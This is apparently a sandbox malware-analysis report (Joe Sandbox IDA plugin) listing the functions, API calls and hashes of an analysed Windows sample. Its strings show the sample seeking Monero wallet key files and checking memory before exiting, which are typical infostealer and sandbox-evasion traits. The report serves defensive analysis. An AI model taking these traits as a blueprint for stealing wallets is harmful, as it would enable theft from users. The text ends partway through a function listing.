Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: ebb203d5fa7ff69707c2f012ece21e5fe7b78ecb2022fdad9af44d7b2f8dff01
Instruction ID: 5016a6fabdd4b2fc57f64b42aa58cde308cf427b73129aa69f7e3643621ec147
Opcode Fuzzy Hash: ebb203d5fa7ff69707c2f012ece21e5fe7b78ecb2022fdad9af44d7b2f8dff01
Instruction Fuzzy Hash: DA3129B4E40209EFDB24CF94D895BEE7BB5FF48310F108158E911A7290D779AA85DFA0

Function 00F24780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0089DE20), ref: 00F247DB

Part of subcall function 00F28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F28E0B

lstrcat.KERNEL32(?,00000000), ref: 00F24801
lstrcat.KERNEL32(?,?), ref: 00F24820
lstrcat.KERNEL32(?,?), ref: 00F24834
lstrcat.KERNEL32(?,0088AFF0), ref: 00F24847
lstrcat.KERNEL32(?,?), ref: 00F2485B
lstrcat.KERNEL32(?,0089D178), ref: 00F2486F

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F28D90: GetFileAttributesA.KERNEL32(00000000,?,00F11B54,?,?,00F3564C,?,?,00F30E1F), ref: 00F28D9F

Part of subcall function 00F24570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00F24580
Part of subcall function 00F24570: RtlAllocateHeap.NTDLL(00000000), ref: 00F24587
Part of subcall function 00F24570: wsprintfA.USER32 ref: 00F245A6
Part of subcall function 00F24570: FindFirstFileA.KERNEL32(?,?), ref: 00F245BD

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 93ec76183f99c36f1f394a561d66efd2098dd50227ee33df7782f12f6a3c6148
Instruction ID: 3e9a38a770d02f75fd31a1bdedcb1f926d7d8565f35681bcdbffef94ea888aed
Opcode Fuzzy Hash: 93ec76183f99c36f1f394a561d66efd2098dd50227ee33df7782f12f6a3c6148
Instruction Fuzzy Hash: F93162B2940318A7CB24F7A0EC86EED7378AF48700F404599B31596081EE7896C99B95

Function 00F11220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00F1123E
__aulldiv.LIBCMT ref: 00F11258
__aulldiv.LIBCMT ref: 00F11266
ExitProcess.KERNEL32 ref: 00F11294

Strings

@, xrefs: 00F11233

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 6dcdf3b15a70bb0cfad69d4a135e8d7f46cc038b08daf056e940772f89a35d3f
Instruction ID: 5c241fdb9502190df320d2b04715cc2b47c2eecbce5eaad1daebe3de363728df
Opcode Fuzzy Hash: 6dcdf3b15a70bb0cfad69d4a135e8d7f46cc038b08daf056e940772f89a35d3f
Instruction Fuzzy Hash: 95014BB0D84358EAEF10DBE0DC4AB9EBBB8BB14701F208158E705B6280D67855859B99

Function 00F27E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F27E37
RtlAllocateHeap.NTDLL(00000000), ref: 00F27E3E
RegOpenKeyExA.KERNEL32(80000002,0088B930,00000000,00020119,?), ref: 00F27E5E
RegQueryValueExA.KERNEL32(?,0089D158,00000000,00000000,000000FF,000000FF), ref: 00F27E7F
RegCloseKey.ADVAPI32(?), ref: 00F27E92

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: adb492ff040298c063903076b598446b13fb52ae9f981bc6921f8cc39959a9d9
Instruction ID: 928bb7a050452603a11467eae8b9cd7a14af6d8c3542419fba1be2e8480b3090
Opcode Fuzzy Hash: adb492ff040298c063903076b598446b13fb52ae9f981bc6921f8cc39959a9d9
Instruction Fuzzy Hash: 341191B2A84709EFD714DF94E859F7BBBB8FB04711F104229F615A7284D77458009BA1

Function 00F112A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F112B4
RtlAllocateHeap.NTDLL(00000000), ref: 00F112BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00F112D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00F112F5
RegCloseKey.ADVAPI32(?), ref: 00F112FF

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f86fdbe744f70203efbd1a8c7ddc4ac6cc795b5dba1d1f006e195c00523f3719
Instruction ID: 8073c432a277af24e62f2d8d02b22187a2e194e95e04fefb9de8c986f78d053d
Opcode Fuzzy Hash: f86fdbe744f70203efbd1a8c7ddc4ac6cc795b5dba1d1f006e195c00523f3719
Instruction Fuzzy Hash: 2B011DB9A40308FBDB14DFE0E849FAEB7B8EF48701F008269FA1597284D6719A418B50

Function 00F1A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(008989A0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00F1A0BD
LoadLibraryA.KERNEL32(0089D318), ref: 00F1A146

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A820: lstrlen.KERNEL32(00F14F05,?,?,00F14F05,00F30DDE), ref: 00F2A82B
Part of subcall function 00F2A820: lstrcpy.KERNEL32(00F30DDE,00000000), ref: 00F2A885

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

SetEnvironmentVariableA.KERNEL32(008989A0,00000000,00000000,?,00F312D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00F30AFE), ref: 00F1A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00F1A0B2, 00F1A0C6, 00F1A0DC

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1843082770
Opcode ID: 4fc6d8a2c32af3598b3542197f6e641bafeb55d329106054f85a31219a491ae8
Instruction ID: d95a19b2c4c7a71941fb22254e9bf72984413e889bed75e5d5d4d94ccf6450a0
Opcode Fuzzy Hash: 4fc6d8a2c32af3598b3542197f6e641bafeb55d329106054f85a31219a491ae8
Instruction Fuzzy Hash: 29411DB1955304EFCB28EFA5F895AEA37B4BF48301F100238F515A3289DB7959C4DB62

Function 00F1A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F28B60: GetSystemTime.KERNEL32(00F30E1A,00899A28,00F305AE,?,?,00F113F9,?,0000001A,00F30E1A,00000000,?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F28B86

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F1A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00F1A3FF
lstrlen.KERNEL32(00000000), ref: 00F1A6BC

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

DeleteFileA.KERNEL32(00000000), ref: 00F1A743

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2001fbc21ac9575639dc9c99aeef23f32a596f4ba2572f101dc9240b28559888
Instruction ID: 4b3c4d64186b1bf317e0655ed727d8dc7cb41429e8e31a0ed95cc60fa1deda96
Opcode Fuzzy Hash: 2001fbc21ac9575639dc9c99aeef23f32a596f4ba2572f101dc9240b28559888
Instruction Fuzzy Hash: 1EE103728101289BDB19FBA4EC92EEE7338BF54300F508169F51776091EF386A49DB72

Function 00F1D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F28B60: GetSystemTime.KERNEL32(00F30E1A,00899A28,00F305AE,?,?,00F113F9,?,0000001A,00F30E1A,00000000,?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F28B86

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F1D801
